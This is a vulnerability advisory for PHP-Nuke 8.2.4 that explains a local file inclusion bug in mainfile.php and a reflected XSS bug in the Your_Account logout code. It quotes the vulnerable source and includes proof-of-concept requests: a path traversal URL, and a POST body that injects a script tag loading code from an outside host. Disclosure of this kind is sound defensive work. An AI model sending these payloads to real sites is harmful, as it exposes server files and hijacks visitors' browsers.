PHP-Nuke 8.2.4 – Multiple Vulnerabilities
[SOJOBO-ADV-13-04] - PHP-Nuke 8.2.4 multiple vulnerabilities I. * Information * ================== Name : PHP-Nuke 8.2.4 multiple vulnerabilities Software : PHP-Nuke 8.2.4 and possibly below. Vendor Homepage : http://www.phpnuke.org/ Vulnerability Type : File Inclusion and Reflected Cross-Site Scripting Severity : High (4/5) Advisory Reference : SOJOBO-ADV-13-04 (http://www.enkomio.com/Advisories) Credits: Sojobo dev team Description: A File Inclusion and Reflected Cross Site Scripting vulnerability was discovered during the testing of Sojobo, Static Analysis Tool. II. * Details * =============== A) File Inclusion in mainfile.php [Impact: 4/5] Follow a trace to reach the vulnerable code. File: /html/index.php 15: require_once("mainfile.php"); File: /html/mainfile.php 90: if (!ini_get('register_globals')) { 91: @import_request_variables("GPC", ""); ... 274: if ((isset($newlang)) AND (stristr($newlang,"."))) { 275: if (file_exists("language/lang-".$newlang.".php")) { ... 277: include_once("language/lang-".$newlang.".php"); due to a call to the function 'import_request_variables' it is possible to create the variable $newlang with an arbitrary value and to allow the inclusion of an arbitrary local file. A test request is: /index.php?newlang=/../../index B) Reflected Cross Site Scripting in index.php (of module Your_Account) [Impact: 3/5] Follow a trace to reach the vulnerable code. File: /html/mainfile.php 90: if (!ini_get('register_globals')) { 91: @import_request_variables("GPC", ""); File: /html/modules/Your_Account/index.php 758: function logout() { 769: if (!empty($redirect)) { 770: echo "<META HTTP-EQUIV=\"refresh\" content=\"3;URL=modules.php?name=$redirect\">"; due to a call to the function 'import_request_variables' it is possible to create the variable $redirect with an arbitrary value and to inject arbitrary HTML code. Due to XSS filtering the request must be done via POST with the injection data sent as payload. A HTTP POST test request is: POST /html/modules.php?name=Your_Account&op=logout HTTP/1.1 Host: www.example.com User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:25.0) Gecko/20100101 Firefox/25.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Referer: http://www.example.com/html/index.php Cookie: lang=english; Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 59 redirect="><script src="http://www.example.com/xss.html" /> III. * Report Timeline * ======================== 18 November 2013 - Advisory released, unable to contact the vendor. IV. * About Sojobo * ==================== Sojobo allows you to find security vulnerabilities in your PHP web application source code before others do. By using the state of the art techniques Sojobo is able to identify the most critical vulnerabilities in your code and limit the number of false positives. |